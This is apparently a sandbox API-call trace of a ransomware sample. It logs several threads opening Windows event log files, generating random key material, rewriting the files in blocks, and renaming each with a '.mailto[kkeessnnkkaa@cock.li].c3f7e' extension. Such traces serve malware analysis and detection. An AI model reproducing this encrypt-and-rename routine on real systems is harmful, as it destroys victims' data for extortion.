	[0081.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b18
	[0081.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b18) returned 1
	[0081.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb97e8
	[0081.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33960
	[0081.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.363] WriteFile (in: hFile=0x131c, lpBuffer=0x4fb97e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1103fc4c, lpOverlapped=0x0 | out: lpBuffer=0x4fb97e8*, lpNumberOfBytesWritten=0x1103fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb97e8) returned 1
	[0081.365] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.365] ReadFile (in: hFile=0x131c, lpBuffer=0x48fb048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1103fc4c, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesRead=0x1103fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.368] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0081.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0081.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb97e8
	[0081.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b18
	[0081.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0081.370] WriteFile (in: hFile=0x131c, lpBuffer=0x4fb97e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1103fc4c, lpOverlapped=0x0 | out: lpBuffer=0x4fb97e8*, lpNumberOfBytesWritten=0x1103fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb97e8) returned 1
	[0081.371] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.371] ReadFile (in: hFile=0x131c, lpBuffer=0x48fb048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1103fc4c, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesRead=0x1103fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.372] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaad8
	[0081.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0081.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.372] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb97e8
	[0081.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338e8
	[0081.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0081.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0081.374] WriteFile (in: hFile=0x131c, lpBuffer=0x4fb97e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1103fc4c, lpOverlapped=0x0 | out: lpBuffer=0x4fb97e8*, lpNumberOfBytesWritten=0x1103fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb97e8) returned 1
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780570
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338e8) returned 1
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b18) returned 1
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33960) returned 1
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb048) returned 1
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x4780778
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa00
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e049f0
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x47805d8
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c08
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c08) returned 1
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e049f0) returned 1
	[0081.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0081.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x183) returned 0x2dc3d68
	[0081.375] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.376] WriteFile (in: hFile=0x131c, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x183, lpNumberOfBytesWritten=0x1103fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0x1103fcf4*=0x183, lpOverlapped=0x0) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47805d8) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780778) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0081.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2ddbbb0
	[0081.388] wcscpy (in: _Dest=0x2ddbbb0, _Source="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx"
	[0081.388] wcscat (in: _Dest=0x2ddbbb0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.388] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1103fcac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476c9f0
	[0081.388] NtSetInformationFile (FileHandle=0x131c, IoStatusBlock=0x1103fca4, FileInformation=0x476c9f0, Length=0xc0, FileInformationClass=0xa) returned 0x0
	[0087.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c9f0) returned 1
	[0087.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b3a8) returned 1
	[0087.774] NtQueryInformationFile (in: FileHandle=0x131c, IoStatusBlock=0x1103fcb8, FileInformation=0x1103fc90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1103fcb8, FileInformation=0x1103fc90) returned 0x0
	[0087.774] NtSetInformationFile (FileHandle=0x131c, IoStatusBlock=0x1103fcb8, FileInformation=0x1103fc90, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddbbb0) returned 1
	[0087.776] FlushFileBuffers (hFile=0x131c) returned 1
	[0092.877] CloseHandle (hObject=0x131c) 

Thread:
	id = 416
	os_tid = 0x15a8

	[0076.955] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20
	[0080.421] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.431] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9bc
	[0080.435] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0x110bf824 | out: lpFileSize=0x110bf824*=69632) returned 1
	[0080.435] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.435] ReadFile (in: hFile=0x9bc, lpBuffer=0x110bf7a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x110bf7a4, lpOverlapped=0x0 | out: lpBuffer=0x110bf7a8*, lpNumberOfBytesRead=0x110bf7a4*=0x4, lpOverlapped=0x0) returned 1
	[0080.437] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0080.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0080.437] NtQuerySystemTime (in: CurrentTime=0x110bf784 | out: CurrentTime=0x110bf784*=132251868071713732) returned 0x0
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x8a21cf6b
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x7a89db1b
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xf02912db
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xb3699c81
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x41d7c6ef
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xfd608eae
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xe853d496
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x37bbc978
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x2e3a0b96
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xca63edad
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x1f168d82
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x81f20726
	[0080.437] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x9f32c523
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xfdba8d09
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x6f8b1cf0
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xe8e900cc
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x359bcfa5
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x2c320ece
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x153f2053
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x4885ab91
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x3026e2ad
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x4eb1b74
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x7b652e8f
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xb89c3d4d
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xe3b22401
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xe58e3f72
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xce344cfa
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xbc328f8a
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xc6ac1125
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xe9acfd55
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0x20ab8d45
	[0080.438] RtlRandom (in: Seed=0x110bf790 | out: Seed=0x110bf790) returned 0xa0ec465c
	[0080.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0080.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0080.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e40868
	[0080.447] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.447] ReadFile (in: hFile=0x9bc, lpBuffer=0x4e40868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x110bf764, lpOverlapped=0x0 | out: lpBuffer=0x4e40868*, lpNumberOfBytesRead=0x110bf764*=0xc800, lpOverlapped=0x0) returned 1
	[0080.609] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.609] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad18
	[0080.609] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.609] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.609] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0080.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0080.611] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0080.611] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.611] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad18) returned 1
	[0080.611] WriteFile (in: hFile=0x9bc, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x110bf764, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x110bf764*=0xc800, lpOverlapped=0x0) returned 1
	[0081.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0081.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e40868) returned 1
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x4753c50
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad18
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33848
	[0081.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33848) returned 1
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x47537a0
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33848
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a78
	[0081.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a78) returned 1
	[0081.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0081.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad18) returned 1
	[0081.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14f) returned 0x4f48e48
	[0081.023] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.023] WriteFile (in: hFile=0x9bc, lpBuffer=0x4f48e48*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x110bf7e4, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesWritten=0x110bf7e4*=0x14f, lpOverlapped=0x0) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0081.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47537a0) returned 1
	[0081.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33848) returned 1
	[0081.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0081.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0081.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0081.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0081.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0081.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476ace8
	[0081.283] wcscpy (in: _Dest=0x476ace8, _Source="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx"
	[0081.283] wcscat (in: _Dest=0x476ace8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x110bf79c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477d460
	[0081.283] NtSetInformationFile (FileHandle=0x9bc, IoStatusBlock=0x110bf794, FileInformation=0x477d460, Length=0xcc, FileInformationClass=0xa) returned 0x0
	[0087.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d460) returned 1
	[0087.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47711d0) returned 1
	[0087.812] NtQueryInformationFile (in: FileHandle=0x9bc, IoStatusBlock=0x110bf7a8, FileInformation=0x110bf780, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x110bf7a8, FileInformation=0x110bf780) returned 0x0
	[0087.812] NtSetInformationFile (FileHandle=0x9bc, IoStatusBlock=0x110bf7a8, FileInformation=0x110bf780, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ace8) returned 1
	[0087.813] FlushFileBuffers (hFile=0x9bc) returned 1
	[0093.044] CloseHandle (hObject=0x9bc) 

Thread:
	id = 417
	os_tid = 0x15ac

	[0076.956] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20
	[0080.437] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", dwFileAttributes=0x20) returned 1
	[0080.437] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d4
	[0080.447] GetFileSizeEx (in: hFile=0x9d4, lpFileSize=0x1113fe80 | out: lpFileSize=0x1113fe80*=69632) returned 1
	[0080.447] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.447] ReadFile (in: hFile=0x9d4, lpBuffer=0x1113fe04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1113fe00, lpOverlapped=0x0 | out: lpBuffer=0x1113fe04*, lpNumberOfBytesRead=0x1113fe00*=0x4, lpOverlapped=0x0) returned 1
	[0080.598] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0080.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.599] NtQuerySystemTime (in: CurrentTime=0x1113fde0 | out: CurrentTime=0x1113fde0*=132251868073432520) returned 0x0
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x75ede23b
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xae5d2e8
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x81c91dc1
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xf95a5ca5
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x3a266d4
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x62b431cd
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x7b9b105f
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xcd398ca8
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x650c4aa8
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xd83d21d9
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x9f5a6413
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x682e956a
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xd9c55173
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x5ec6f9f6
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x25f62e8e
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x7b49d7a8
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0xf784aaf6
	[0080.599] RtlRandom (in: Seed=0x1113fdec | out: Seed=0x1113fdec) returned 0x957f2016
